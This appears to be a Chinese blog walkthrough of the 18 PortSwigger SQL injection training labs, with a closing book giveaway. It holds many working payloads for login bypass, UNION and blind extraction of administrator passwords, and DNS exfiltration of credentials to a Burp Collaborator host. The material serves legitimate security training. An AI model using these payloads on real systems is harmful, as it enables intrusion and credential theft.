文章目录
- 前言
- 一、官网地址
- 二、开始打靶(18个)
- 1:Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
- 2 :Lab: SQL injection vulnerability allowing login bypass
- 3 :Lab: SQL injection attack, querying the database type and version on Oracle
- 4:Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
- (第五关开始就变得有趣起来了)5:Lab: SQL injection attack, listing the database contents on non-Oracle databases
- 6:Lab: SQL injection attack, listing the database contents on Oracle
- 7:Lab: SQL injection UNION attack, determining the number of columns returned by the query
- 8:Lab: SQL injection UNION attack, finding a column containing text
- 9:Lab: SQL injection UNION attack, retrieving data from other tables
- 10:Lab: SQL injection UNION attack, retrieving multiple values in a single column
- 11:Lab: Blind SQL injection with conditional responses
- (上难度-甲骨文)12:Lab: Blind SQL injection with conditional errors
- 13:Lab: Visible error-based SQL injection
- 14:Lab: Blind SQL injection with time delays
- 15:Lab: Blind SQL injection with time delays and information retrieval
- 16:Lab: Blind SQL injection with out-of-band interaction
- 17:Lab: Blind SQL injection with out-of-band data exfiltration
- 18:Lab: SQL injection with filter bypass via XML encoding
- 三、本期送书《鸟哥的Linux私房菜:服务器架设篇(第三版修订)》
- 总结(打靶归来)
👆🏻大家记得关注清华大学出版社的618活动,非常多的购书优惠!!
前言
vulhub需要自己搭建,对新手小白来说有点麻烦。而vulfocus在线靶场的使用体验又太垃,刚出来的时候非常不错,后来不知道是不是官方鸽了,运营也没人回,整个团队都处于摆烂的状态,靶场启动大部分都是访问不了的,也没人维护,让用户心寒。后来我研究了一下BurpSuite,发现他们自带就有靶场,而BP又是全球最牛的渗透工具之一,是国外专业安全团队长期维护的项目,所以Portswigger安全学院做得非常不错,里面的靶场(安全实验室Libs)包含了几乎所有常见的Web漏洞,在2024年的今天,我是十分推荐大家去使用的!!
提示:以下是本篇文章正文内容,下面案例可供参考
一、官网地址
https://portswigger.net/web-security/all-labs
SQL注入相关一共是18个靶场,先从第一个最简单的开始,后面逐步变难。
个人认为,打靶场的时候不要用Sqlmap,因为过于依赖工具,会让人产生惰性,导致手工注入的技能消失,工具的意义是便利性,而不是消除知识记忆的双刃剑,所以18个靶场的通关教程,我都会以手工的办法,一步一步从注入点到注出数据库的信息。因为我会从新手的角度出发,所以整片文章篇幅很长,差不多3万多字,写得非常详细,我相信,不管是新手还是老师傅,都会有所收获,如果是新手,能完全掌握sql注入的关键技能点,如果是老师傅,温故而知新。话不多说,开始第一个靶场。
二、开始打靶(18个)
打靶前先注册一个账号登录。登录后再进行靶场练习。
1:Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
ACCESS THE LAB按钮就是开启靶场。Solution是解题办法,Community solutions是社区的解决方法,里面是油管或者其他平台的教学视频。
每个靶场都有一小段提示,比如这里就给出了提示:
当用户选择一个类别时,应用程序会执行如下 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
启动靶场之后,会展示一个网页,找到category的请求。
这里的category就是注入点,在Gifts后面用单引号隔开进行and或者or的判断。
对应的其实是下面两条语句:
SELECT * FROM products WHERE category = 'Gifts'and 1=1--+' AND released = 1
SELECT * FROM products WHERE category = 'Gifts'and 1=2--+' AND released = 1
1=2不成立,所以图片不显示,说明查询语句生效。这里是个注入点。
当我们输入' or 1=1--+
的时候,其实就已经提示我们通关了。
但是这才刚刚开始,靶场就宣布我们结束了,这对于精益求精的我们来说肯定是不行的,起码要把数据库给爬出来才算真正的通关。所以我们继续深入。
2.1.1 判断数据库类型
判断数据库类型的办法有很多种,我这里简单列举一些常用的:
前端与数据库类型
asp:SQL Server,Access
.net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL
根据端口判断
Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306
根据特别函数来判断
MySQL
BENCHMARK(1000000,ENCODE('QWE','ASD'))
SLEEP(5)
PostgreSQL
PG_SLEEP(5)
GENERATE_SERIES(1,1000000)
SQL Server
WAITFOR DELAY '0:0:5'
最终利用延时注入的方式来判断数据库类型为PostgreSQL:
这里的实际语句是:
SELECT * FROM products WHERE category = 'Gifts';select pg_sleep(5)--+' AND released = 1
最终延时了5秒。
再次验证一下,修改为10:
PostgreSQL数据库的语法和常见的MySql数据库有区别,还是常规套路,查询字段数:
最终查到字段数为8,语句是:
category=Gifts' order by 8--+
MySql数据库注入用的是select 1,2,3,4,……但是PostgreSQL用的是null。
category=Gifts' union select null,null,null,null,null,null,null,null--+
然后逐个加上单引号,就能判断出哪个字段能回显了:
category=Gifts' union select null,'null','null',null,null,'null',null,'null'--
最终逐个判断出,第三个可以回显。
#查看版本信息
SELECT version()
#查看用户
SELECT user;
SELECT current_user;
SELECT session_user;
#这里是usename不是username
SELECT usename FROM pg_user;
SELECT getpgusername();
#查看当前数据库
SELECT current_database()
#查看当前数据库
CURRENT_SCHEMA()
Gifts' union select null,null,version(),null,null,'null',null,'null'--
数据库版本是:
PostgreSQL 12.18 (Ubuntu 12.18-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
最终通过一系列的信息收集,整理了一下:
CURRENT_SCHEMA()
version() :
PostgreSQL 12.18 (Ubuntu 12.18-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
CURRENT_SCHEMA() :
public
current_database():
academy_labs
user:
peter
其实到这里就已经差不多了。
然后是获取表名:
Lifestyle' union select null,null,table_name,null,null,'null',null,'null' from information_schema.tables--+
然后就是精准定位敏感的表,比如pg_user表,看看里面的字段都有什么:
Lifestyle' union select null,null,column_name,null,null,'null',null,'null' from information_schema.columns where table_name='pg_user'--
用户名:
Lifestyle' union select null,null,usename,null,null,'null',null,'null' from pg_user--
密码:
Lifestyle' union select null,null,passwd,null,null,'null',null,'null' from pg_user--
至于靶场的密码为什么是*号这个我也不确定,可能密码就是8个*号也不一定
这里我简单总结一下postgreSQL数据库的手工注入方法:
注释: --+ , /**/
连接符: %20 , + , /**/
内置函数:
current_database() //当前数据库名
session_user //会话用户
current_user //当前数据库用户
user //当前用户
version() //数据库版本
Union注射:
order by n--+
and 1=2 union select null,null,null--+
and 1=2 union select 'beach',null,null--+
and 1=2 union select (select version()),null,null--+
获取表名,字段名(新版本利用information_schema):
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n--+
and 1=2 union select column_name,null,null from information_schema.columns where table_name='admin' limit 1 offset n--
(老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名
select relname from pg_class获取表名
select oid from pg_class wehre relname='admin'获取表的oid
select attname from pg_attribute where attrelid='oid的值' 获取字段名
实战:
and 1=2 union select relname,null,null from pg_class where relkind='r' limit 1 offset 0--+加入relkind='r'只查询普通表
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind='r' limit 1 offset 0--+
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136
and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0--+爆表名
============================================================================
and 1=2 union select datname,null,null from pg_database limit 1 offset 0--+爆库
and 1=2 union select usename||chr(124)||passwd,null,null from pg_user limit 1 offset 0--+爆数据库用户密码
值得一提的是,postgreSQL数据库的用户名字段比较奇葩,它是usename,而不是username,有点反人类。好了,第一关就详细的讲完,后面的靶场就不会这么仔细的一步一步去写,而是根据第一关的这个思路,也是手工注入的方式去解到数据库为止。
2 :Lab: SQL injection vulnerability allowing login bypass
第二关的靶场说明:“该实验室的登录功能中存在 SQL 注入漏洞。要解决该实验问题,请执行 SQL 注入攻击,以administrator身份登录应用程序。”
启动靶场(有一说一,Portswigger的靶场启动太丝滑了,爱了爱了❤️):
点击My account,进去登录界面,这里有注入点的话,我第一时间想到的就是万能密码绕过,or 1=1–+
直接试试,反正用户名administrator已经给你了。
通关了。
至于原理其实也很简单,就是让sql查询语句恒为True就行了,大家可以百度或者谷歌搜索万能密码的原理。其实就是类似于下面的语句,我只是举个例子:
select firstname from users where username = 'administrator' and password ='passwdsdfsdfds'
我们构造之后,语句就变成了这样:
select firstname from users where username = 'administrator' or 1=1--+' and password ='passwdsdfsdfds'
上面语句等于:
select firstname from users where username = 'administrator' or 1=1
由于username=administrator为真,1=1也为真,加上or逻辑运算符的条件也恒为真,所以就成功登录了。
所以,这两条语句也是成立的:
administrator’ and 1=1–+
administrator’ --+
3 :Lab: SQL injection attack, querying the database type and version on Oracle
查询 Oracle 数据库类型和版本。
有了第一关的PostgreSQL手工注入的基础铺垫,到这里的时候已经信手拈来了,无非就是换了个甲骨文数据库(Oracle),没错,Oracle的英文意思就是甲骨文。
Oracle数据库的基本单位,等同于Mysql中的库。
Mysql:当前数据库下有N张表
Oracle:当前用户下有N张表。
1.dual表
此表是Oracle数据库中的一个自带表。
与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名
如:select * from dual
2.基本用法
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
select * from all_tab_columns 查询出所有的字段
select * from user_tab_columns 查询出当前用户的字段
查数据库版本的语句是:
select BANNER from v$version
还是常规的判断注入点和order by 判断字段数:
Gifts'+order+by+2--+
Gifts' union select null,null from dual--+
Gifts' union select 'null','null' from dual--+
查询数据库版本:
Gifts' union select BANNER,'null' from v$version--
查询用户:
Gifts' union select 'null',(select user from dual) from dual--
查表名:
Gifts' union select 'null',(select table_name from user_tables) from dual--
也可以用更简单的方式来查询:
Gifts' union select table_name,'skflksd' from user_tables--
获取列名:
Gifts' union select column_name,'skflksd' from user_tab_columns where table_name='PRODUCTS'--
获取字段数据:
Gifts' union select NAME,'skflksd' from PRODUCTS--
4:Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
最常见的MySQL数据库,这一关就简单的快速过就好了。
意思就是让我们打印数据库的版本和系统的版本。
Pets' order by 2--
字段数为2:
Pets' union select 1,2--
Pets' union select version(),2--
完成。
(第五关开始就变得有趣起来了)5:Lab: SQL injection attack, listing the database contents on non-Oracle databases
终于不是无脑的注入了,这里他的要求是,让我们注入出包含用户名和密码的表,然后用administrator的账号密码进行登录。开始:
注入点还是老样子,直接order by继续操作一下:
Gifts' union select null,null --
最后发现不是mysql数据库,看来要么就甲骨文,要么是postgreSQL了。
由于不用from dual表就能查询,说明不是甲骨文,那就试试postgreSQL的查询数据库版本能不能打印:
Gifts' union select (select version()),'null' --
丝滑,那就跟第一关一样了。
Gifts' union select table_name,'null' from information_schema.tables--
还是惯例,看看pg_user表里的字段和值。
但是里面并没有administractor的用户名和密码,看来不是这个表。最后全局搜索users关键字,发现了这个奇怪的用户表。
查询一下里面的字段:
Gifts' union select column_name,'null' from information_schema.columns where table_name='users_xvlkkw'--
发现username_uupdzn和password_exsscl,接着查一下:
Gifts' union select username_uupdzn,password_exsscl from users_xvlkkw--
找到了,然后用这个账号和密码进行登录就能通关:
6:Lab: SQL injection attack, listing the database contents on Oracle
要求不变,只是换了个数据库类型,是甲骨文的数据库。
Lifestyle'union select 'null','null' from dual--
Lifestyle'union select table_name,'null' from all_tables--
找到表名 USERS_YGZPWJ
Lifestyle'union select column_name,'null' from all_tab_columns where table_name='USERS_YGZPWJ'--
PASSWORD_JXLFXA USERNAME_TSXOXJ
Lifestyle'union select USERNAME_TSXOXJ,PASSWORD_JXLFXA from USERS_YGZPWJ--
7:Lab: SQL injection UNION attack, determining the number of columns returned by the query
这一关就有些莫名其妙了,让我们用union联合查询的方法,直接判断出列名的个数。
Gifts'order by 3--
Gifts'union select null,null,null--
8:Lab: SQL injection UNION attack, finding a column containing text
其实之前已经试过了,相当于重温了一下:
启动靶场之后看到了要求:让数据库检索字符串:IUcr93
order by确定了是3.
Gifts'union select null,null,null--
试出了第二个:
Gifts'union select null,'null',null--
Gifts'union select null,'IUcr93',null--
9:Lab: SQL injection UNION attack, retrieving data from other tables
Gifts'order by 2--
Gifts'union select 'null','null'--
Gifts'union select table_name,'null' from information_schema.tables--
Gifts'union select column_name,'null' from information_schema.columns where table_name='users'--
Gifts' union select username,password from users--
10:Lab: SQL injection UNION attack, retrieving multiple values in a single column
要求在一个列里面查询多个值。
中间重复的步骤我就不再写了,直接列出语句:
Gifts'order by 2--
Gifts'union select null,'null'--
Gifts'union select null,username||'~'||password from users--
11:Lab: Blind SQL injection with conditional responses
盲注,并且是在cookie中存在注入点,还是要以administrator的身份登录才算通关。
盲注不得不提两个函数,length()和substring()。一个是判断长度的,另一个是截取字符串的长度:
string substring(string, start, length)
第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
当语句执行成功的时候,响应包中会返回Welcome back!字符串,如果当1=2错误时,Welcome back!字符串则不出现。所以Cookie是一个注入点。
TrackingId=MQzN5wCbLsYeHKJ9'and 1=1--+
TrackingId=MQzN5wCbLsYeHKJ9'order by 1--+;
union select 1返回失败,union select null返回成功,说明这是一个 PostpreSQL数据库。
TrackingId=MQzN5wCbLsYeHKJ9'union select null--+;
TrackingId=MQzN5wCbLsYeHKJ9'and(select 'a' from users limit 1)='a'--+;
因为题目介绍中已经给出了表名和字段名,所以我们盲注的时候为了节省时间,直接猜一下是不是真的存在users表,最后的结果就如上图所示,是存在的。
下面是确认是否存在administrator用户名:
TrackingId=MQzN5wCbLsYeHKJ9'and(select 'a' from users where username = 'administrator' limit 1)='a'--+;
猜解密码的长度:
TrackingId=MQzN5wCbLsYeHKJ9'and(select 'a' from users where username = 'administrator' and length(password)>1 limit 1)='a'--+;
为了节省时间,这里选择直接用bp自带的Intruder来暴破一下。先设置后暴破的地方:
设置响应结果中要匹配到成功字符串的特征值:
设置长度,我选择长度为30,步长为1。
结果出来了,为长度为20的密码(这里之所以19,是因为条件是>19成立,而>20不成立,所以长度为20)。
修改一个语句,同时暴破两个值。用Cluster bomb模式就行了,然后第一个参数设置0-20的数值类型,第二个参数设置a-z,A-Z,0-9的默认常规字符串。开始暴破:
TrackingId=MQzN5wCbLsYeHKJ9'and(select 'a' from users where username = 'administrator' and substring(password,§1§,1)='§a§' limit 1)='a'--+;
最终暴破完成,简单排列一下就是密码了(按住shift键,就可以实现两个一起拍排列):
解出密码进行管理员登录,成功通关:
(上难度-甲骨文)12:Lab: Blind SQL injection with conditional errors
这关依然是盲注,依然是users表,依然是username和password字段,依然是用iadminstrator用户登录,唯一不同的是,这次是要根据返回的报错页面来进行注入。
输入一个单引号时报错,输入两个单引号时页面显示正常:
poRLmpaOHgRgbmXs'
poRLmpaOHgRgbmXs''
这给我的感觉就是一个布尔型的注入,页面没有回显任何信息,只能通过SQL语句的正确性来判断注入,如果SQL查询语句是正确的,则返回200,如果SQL语句查询是错误的,则返回500.
那么我们可以在语句正确的基础上,加上拼接符||
来进行字符串的拼接:
TrackingId=poRLmpaOHgRgbmXs'||(select '')||'
这条语句看着没什么问题,实际上就是查询一个空的值,别的不变,但是页面居然报错了:
通过以下语句来判断出数据库类型为甲骨文:
TrackingId=poRLmpaOHgRgbmXs'||(select '' from dual)||'
根据题目给出的信息,有users表,username和password字段,以及一个字段名administrator。
可以通过SQL查询一下是否为真,当查询users表时返回200,查询一个不存在的表时,返回500.
TrackingId=poRLmpaOHgRgbmXs'||(select '' from users where rownum=1)||'
TrackingId=poRLmpaOHgRgbmXs'||(select '' from usesdfsdfsdfrs where rownum=1)||'
这里的rownum其实就类似于mysql数据库中的limit。
下面是甲骨文数据库的语法:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
这条SQL语句使用了SELECT CASE WHEN结构,这是一种条件表达式,如果条件表达式为真,则执行THEN后面的函数,如果为假,则执行ELSE后面的函数。在上面这条语句中,TO_CHAR函数转换成字符,可是TO_CHAR(1/0)中的1/0实际上是个除法,0为分母本身就是错误的,在大多数数据库中会抛出一个错误。
1=2是错误的,但是页面返回了200。
TrackingId=poRLmpaOHgRgbmXs'||(select CASE WHEN 1=2 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'
正如上面所说,由于WHEN的条件表达式为假,所以走的是ELSE后面的逻辑。所以整个查询语句是正确的,页面返回200。
当改成1=1,执行THEN后的函数,所以语句报错,页面也报错。
TrackingId=poRLmpaOHgRgbmXs'||(select CASE WHEN 1=1 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'
因此,我们可以利用WHEN来注入,先判断密码的长度:
TrackingId=poRLmpaOHgRgbmXs'||(select CASE WHEN length(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'
TrackingId=poRLmpaOHgRgbmXs'||(select CASE WHEN length(password)>1000 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'
为了方便大家理解,我再啰嗦一遍。当WHEN条件为真时,会执行THEN的错误语句,导致页面报错500。当WHEN条件为假时,会执行ELSE的正确语句,导致页面正常200。简单总结就是:条件为真,页面500。条件为假,页面200.
暴破一下,长度为20.
设置关键字匹配:Internal Server Error
暴破密码字符,依然用最熟悉的substr函数。
TrackingId=poRLmpaOHgRgbmXs'||(select CASE WHEN substr(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'
排序一下结果,得出密码:
通关:
13:Lab: Visible error-based SQL injection
换了一种报错注入类型。依然给出了表名users,然后username和password字段,用administrator登录即可通关。
注入点还是存在cookie里。输入以下内容,返回200 正确。
wEzdykmCz5M9zzWX''
换语句,依然返回200.
wEzdykmCz5M9zzWX'||(select version())||'
换,报错:
wEzdykmCz5M9zzWX'||(select username1 from users limit 1)||'
报错中输出列名username1不存在,如果改成username则会返回200成功。
再换一个查询用户密码的语句:
wEzdykmCz5M9zzWX'||(select password from users where username ='administrator' limit 1)||'
返回报错:
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = ‘wEzdykmCz5M9zzWX’||(select password from users where usernam’. Expected char
由于字符限制,我们的查询现在似乎被截断了。所以我们的完整语句将不包括在内。这个时候试着把Id给删掉,变成这样:
'||(select password from users where username ='administrator' limit 1)||'
返回了报错信息:
由于字符限制的原因,之前的办法并不可行:
这里引入一个新的函数CAST。在 MySQL 中,CAST 函数用于将一个值从一种数据类型转换为另一种数据类型。这个函数可以用于转换数值、日期、时间以及字符串数据类型。
'and 1=cast((select 1)as int)--+
'and 1=cast((select username from users limit 1)as int)--+
'and 1=cast((select password from users limit 1)as int)--+
成功拿到密码。
14:Lab: Blind SQL injection with time delays
演示注入的小练习,只需要延时10秒就可以通关了。
iEdLTkCKLQPY0lva'||sleep(10)--+
发现无效,那说明数据库类型不是mysql。换成下面的:
iEdLTkCKLQPY0lva'||pg_sleep(10)--+
成功了。说明这是个PostgreSQL数据库。
15:Lab: Blind SQL injection with time delays and information retrieval
利用延时注入来找到administrator的密码进行登录。依然是给出了users表等信息。注入点依然是cookie。
TrackingId=lebOw9Hkk09njw4v'''
不管是输入什么都返回200.
由于postgreSQL数据比较特殊,要用;
号来拼接两个语句,由于是在cookie中注入,直接用;
号的话会失败,所以要先url编码,把;
号变成%3B
。
lebOw9Hkk09njw4v'%3B select pg_sleep(5)--
切换一下语句,还是利用select case when() then else end来判断一下:
lebOw9Hkk09njw4v'%3Bselect CASE WHEN(1=1) THEN pg_sleep(4) ELSE pg_sleep(0) end--
lebOw9Hkk09njw4v'%3Bselect CASE WHEN(username='administrator') THEN pg_sleep(4) ELSE pg_sleep(0) end from users--
判断密码长度:
lebOw9Hkk09njw4v'%3Bselect CASE WHEN(length(password)>1) THEN pg_sleep(4) ELSE pg_sleep(0) end from users where username='administrator'--
最终确定密码为20位。开始暴破密码:
lebOw9Hkk09njw4v'%3Bselect CASE WHEN(substring(password,1,1)='a') THEN pg_sleep(4) ELSE pg_sleep(0) end from users where username='administrator'--
同时暴破两个参数。记得在结果中添加响应的时间。
高亮后排序,一目了然。
通关。
16:Lab: Blind SQL injection with out-of-band interaction
这个靶场要求我们简单地触发 DNS 查找并解决实验室问题。 在现实情况下,我们将使用 Burp Collaborator 来验证payload是否确实触发了 DNS 查找,并可能利用此行为从应用程序中窃取敏感数据。 并且提示我们将在下一个实验室中讨论这项技术。
所以本关实验仅仅是一个热身。
Tip💡
为了防止Academy平台被用于攻击第三方,靶场防火墙阻止实验室和任意外部系统之间的交互。若要解决实验室问题,必须使用Burp Collaborator的默认公用服务器。其他的类似于.dnslog.cn和ceye.cn平台都是禁止通信的。
在butpsuite提供的cheat-sheet中,给出了各个数据库的外带语句:
将.BURP-COLLABORATOR-SUBDOMAIN
换成生成的地址。
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
生成:
启动靶场,完整的语句如下:
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//q90dwwlbmdw7ak1cc6ntwv8s0j6au6iv.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
17:Lab: Blind SQL injection with out-of-band data exfiltration
是在16关的基础上,让我们用dns外带出用户密码。只需要略微修改语句就行:
简单查看一下用户名:
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select username from users where rownum=1)||'.q90dwwlbmdw7ak1cc6ntwv8s0j6au6iv.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
密码:
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select password from users where username='administrator')||'.dzg0mjbyc0mu07rz2tdgmiyfq6wykv8k.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
通关:
18:Lab: SQL injection with filter bypass via XML encoding
终于来到了最后一关。最后一关,给我们设了个WAF拦截,增加了难度。
Web 应用程序防火墙 (WAF) 将阻止包含明显 SQL 注入攻击迹象的请求。 所以我们需要找到一种方法来混淆恶意查询以绕过WAF。 建议使用 Hackvertor 扩展来执行此操作。
寻找注入点:
<storeId>1+1</storeId>
返回结果发生了变化。当输入单引号,会被识别成攻击语句,被拦截。
选中,右键,一路点击,进行加密。
再次点击Send,发现响应中返回了正常的内容:
识别数据库类型:PostgreSQL
1 union SELECT username from users
暴破出密码:
终于全部结束,打卡纪念一下:
进度7%了。正所谓开始是成功的一半,希望大家也能动起来。
三、本期送书《鸟哥的Linux私房菜:服务器架设篇(第三版修订)》
《鸟哥的Linux私房菜——服务器架设篇(第三版修订)》是一本不可或缺的Linux服务器架设指导书,适合想要深入学习Linux服务器架设和管理的读者。本书不仅教授如何搭建服务器,还重点关注服务器的安全防护和维护,以及解决常见问题的策略。作者以系统基础和网络基础为起点,深入浅出地介绍了各种常见服务器的搭建方法。无论您是初学者还是有经验的用户,本书都将帮助您掌握Linux服务器的核心知识,为您的服务器提供稳定、安全的运行环境。
本书作者
鸟哥,中国台湾成功大学环境工程系博士,就学期间由于研究需要接触到Linux操作系统,又因实验室交接需求而建立“鸟哥的Linux私房菜”网站。因个人喜好“絮叨”,网站文章风格就此成形。曾任中国台湾多家知名Linux教育中心讲师,目前于中国台湾昆山科技大学资讯传播系教授Linux相关课程。专长是Linux操作系统、网站规划与维护、网络安全,兴趣是写作与阅读,研究方向是网络应用整合。
如何领书
————————————————
⚠️
方式一 博客送书
本篇文章送书 🔥1本 评论区抽1位小伙伴送书
📆 活动时间:截止到 2024-05-25 00:00:00
🎁 抽奖方式:利用网络公开的在线抽奖工具进行抽奖
💡 参与方式:点赞+任意字数评论就行😂,只要评论+点赞就能参与。我很佛系的,要求不高,就是单纯想送书。
方式二 关注公众号
中奖后我会私信你要邮寄地址,到时候记得回我一下,不然寄不出去的!不是到付,大家放心😂,我会包邮寄给你。包邮!包邮!
没有中奖的衣服父母👏也可以通过以下京东链接🔗进行购买:
京东购买链接
中奖粉丝 | 时间 |
---|---|
2024年5月25日 | |
2024年5月25日 |
总结(打靶归来)
重点的东西还是要备注总结一下的,不然下次很快忘记就白练了:
1、甲骨文(有一个专属的dual表):
' union select 'abc','def' from dual--+
查表(all_tables)
'union select table_name,NULL from all_tables--
查列(all_tab_columns)
'union select column_name,NULL from all_tab_columns where table_name='USERS'--
查字段
' union select username,password from users--
2、postgreSQL数据库:
查表(information_schema.tables)
' union select table_name,NULL from information_schema.tables--
差列(information_schema.columns)
' union select column_name,null from information_schema.columns where table_name='users_abcdef'--
查字段
' union select username,password from users--
3、其他的知识点:
在一个列中查询多个值(||'~'||
):
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
欢迎大家关注EureKaSec,无论是技术交流还是有兴趣加入我们团队,都欢迎随时联络沟通。
文章原创,欢迎转载,请注明文章出处: 【送书活动第2期】打靶Portswigger系列—— 一口气通关18个SQL注入靶场详细流程(文末送书).。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。